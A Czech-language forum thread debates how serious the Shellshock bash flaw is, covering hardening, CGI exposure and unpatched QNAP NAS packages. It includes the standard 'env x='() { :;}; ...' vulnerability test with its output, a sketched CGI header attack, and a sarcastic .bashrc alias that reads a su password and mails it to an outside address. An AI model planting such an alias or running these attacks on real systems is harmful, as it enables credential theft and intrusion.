Vlákno názorů k článku Díra v bashi, které si 20 let nikdo nevšiml od kuja - Me ten popis prijde lehce bulvarni. Nikde se...
-
kuja (neregistrovaný)
Me ten popis prijde lehce bulvarni. Nikde se nepise, ze se funkce propisuje pouze do podprocesu spustenych konkretnim uzivatelem. Nechci to nijak znevazovat, ale pokud clovek pouziva alespon elementarni hardening, tak mu vesmes nehrozi zadny velky riziko, maximalne hromada exportovanejch promennejch. Chyba to je u nezabezpecenejch systemu, kde se clovek dostane rychle a levne k zajimavejm datum. Ale i tak musi znat jmeno, heslo a nebo aspon cgi skript, kterej se propisuje skrz shell :) Katastrofa nastava u stroju, kde se muze prihlasit vzdalene root, pripadne uzivatel, kterej ma nejaky slovnikovy heslo a sudo bez hesla, pripadne jinej princip eskalace prav....
-
kuja (neregistrovaný)
To uz je ale ulet. V tom pripade je dira jako prase se prihlasit jako uzivatel na system a vylistovat si vsechny soubory a bezici procesy. Ja to nijak neshazuju, ale prinos pro cloveka, kterej se uz dostal na system to ma nulovej. A porad si stojim za tim, ze pokud clovek neni uplnej retard a pouziva elementarni hardening, tak se ho tohle moc nedotkne. A pochopitelne to je o tom, aby lidi lidi pouzivali to co maj na krku....to je ale alfa a omega vseho. A jeste k cgi skriptum a curl like utok. Pokud clovek pouziva nginx, nebo i apache, a pouzije kvetak a zabezpeci si ho, tak skrz cgi skript neziska nic. Maximalne to, co je v context rootu.
-
gamer (neregistrovaný)
Hardening s tím vůbec nesouvisí, nijak před útokem neochrání. Mně jako útočníkovi stačí, aby třeba apache spouštěl cgi skript, což vede na volání bashe. No a do requestu apache dám do hlavičky ten find a získám data ze všech souborů, ke kterým má proces obsluhující request přístup. Tam zjistím třeba heslo do databáze a pak už mi stačí udělat tohle:
echo "muj zly kod ktery s databazi provadi nehezke veci" > evil_code
chmod ₊x evil_code
./evil_codea můžu se systémem dělat cokoliv (v rámci práv uživatele, pod kterým to běží).
-
Lol Phirae (neregistrovaný)
Alebo CGI script ktory bezi pod userom webserveru co ma bash ako shell. Co znacne redukuje zneuzitelnost - pretoze kazdy solidny admin ma tohto usera nastaveneho na /bin/false
Tys asi nikdy neviděl např. nějakou tuhle NAS krabici s klikacím GUI, viď? Webserver běží pod rootem a žádný /bin/false se pochopitelně nekoná.
-
l (neregistrovaný)
tak predpokladam ze zneuzitelnost domaceho NAS beziaceho v LAN je trochu vzdialena masovej histerii ktoru pozorujem. I tak pochybujem ze tie krabice maju bash - setri sa tam na kazdom bajte aby mohli dat cenu o par centov dole - je dost nepravdepodobne ze by plytvali miestom na moloch, ked existuje plno lightweight alternativ.
-
Lol Phirae (neregistrovaný)
Např. v QNAPu je samozřejmě bash. Nevím, o jakém šetřetí místem je řeč, ty piksly se dodávají bez disku, praktický celý FW je na disku, na nějaké flashce je jen to, co je nezbytné pro instalaci normálního FW. Šetření místem nikoho nezajímá, ty FW mají stovky MB jen jako zabalená image pro instalaci.
-
Trident (neregistrovaný)
QNAP storage je uz spis plnohodnotny armovy pocitac. Tam neni duvod ani mistem setrit kdyz mame disky.
Dneska na mne vyskocil update bashe z ipkg repa(je mozne ze tam byl uz den predtim).
Vzhledem k tomu ze QNAP podporuje i stare plecky a posledni release firmware byl 25.9.2014(vetsinou je tak 1 za mesic az dva). Byly i emergency aktualizace mimo tento cyklus kvuli sambe.
Tady bych se opravdu nebal ze vydaji novou verzi. Vyborna podpora QNAPu, moznost instalace cisteho debiana a caste aktualizace je duvod proc bych si ho kvuli podpore koupil zas.Pouziti bashe u developeru jen tak nezmenis.Developer proste pouziva to co je mu blizke. Bezpecnost ci moznost pouziti v prostredich kde bash neni tezko z hardcore linuxovych palic vymlatis
Je to mor ktery se uci i na VS. Taky mne par knizek takto vychovalo nez jsem na AIXU a Solarisu musel pouzit bourne shell a ksh a zjistil jsem proc stari unixovi bardi nepouzivaji bash. Chce to ucit se od spravnych lidi a ne od akademickych teoretiku. -
Lol Phirae (neregistrovaný)
Dneska na mne vyskocil update bashe z ipkg repa(je mozne ze tam byl uz den predtim).No, ten byl opravdu hodně platný...
# ipkg update
Downloading http://ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/cross/unstable//Packages
Downloading http://ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/cross/unstable/Packages.gz
Inflating http://ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/cross/unstable/Packages.gz
Updated list of available packages in /opt/lib/ipkg/lists/cs08q1armel
Successfully terminated.# ipkg upgrade
Upgrading bash on root from 3.2.49-1 to 3.2.52-1...
Downloading http://ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/cross/unstable/bash_3.2.52-1_arm.ipk
Configuring bash
Successfully terminated.# ipkg list_installed | grep bash
bash - 3.2.52-1 - A bourne style shell# /opt/bin/bash --version
GNU bash, version 3.2.49(1)-release (arm-none-linux-gnueabi)
Copyright (C) 2007 Free Software Foundation, Inc.# env x='() { :;}; echo vulnerable' /opt/bin/bash -c "echo this is a test"
vulnerable
this is a testNevím, jaký dement to balil.
-
Lol Phirae (neregistrovaný)
Např. odkaz na bug tracker funguje takto:
The ipkgfind site is unavailable until further notice.
-
Jenda (neregistrovaný)
> pokud clovek pouziva alespon elementarni hardening, tak mu vesmes nehrozi zadny velky riziko
No minimálně před čtením ti hardening moc nepomůže (běžíš v kontextu aplikace, která taky potřebuje číst, tak to asi má povolené).
> Katastrofa nastava u stroju, kde se muze prihlasit vzdalene root, pripadne uzivatel, kterej ma nejaky slovnikovy heslo a sudo bez hesla, pripadne jinej princip eskalace prav....
To je pravda, pokud by neměl slovníkové heslo, tak by mu určitě nebylo možné dát do .bashrc alias su='read "Enter password" pw; echo $pw | mail cc@nsalitomerice.cz'
-
kuja (neregistrovaný)
Cteni je ale problematicke i u klasickyho uzivatele. To, ze mu nekdo neco vyexportuje neni uz moc prinos. A celkove je to takovy spis sci-fi.
Ono treba spravne nastaveny contexty v SELinuxu zabrani i cteni veci, ktery nejsou primo v contextech konkretniho uzivatele. Ale verim, ze SELinux je pro hromadu lidi sprosty slovo a prvni co udelaj je setenforce 0 a "Disable" v konfiguraku.
No a posledni vec je uz hodne bulvarni a predpoklada, ze uz utocnik pristup na stroj ma a nebo ma nekoho, kdo to podstrci, pripadne nejakej malware nebo jinej exploit v jiny aplikaci mu to umozni.
Ja to v zadnym pripade nechci bagatelizovat, zlehcovat, pripadne to nejak shazovat. Jenom z moji zkusenosti sysadmina v tom nevidim az zas takovou hrozbu, aby byli reakce tak prehnane hystericky. Chce se na to podivat strizlive a uvazovat realisticky.
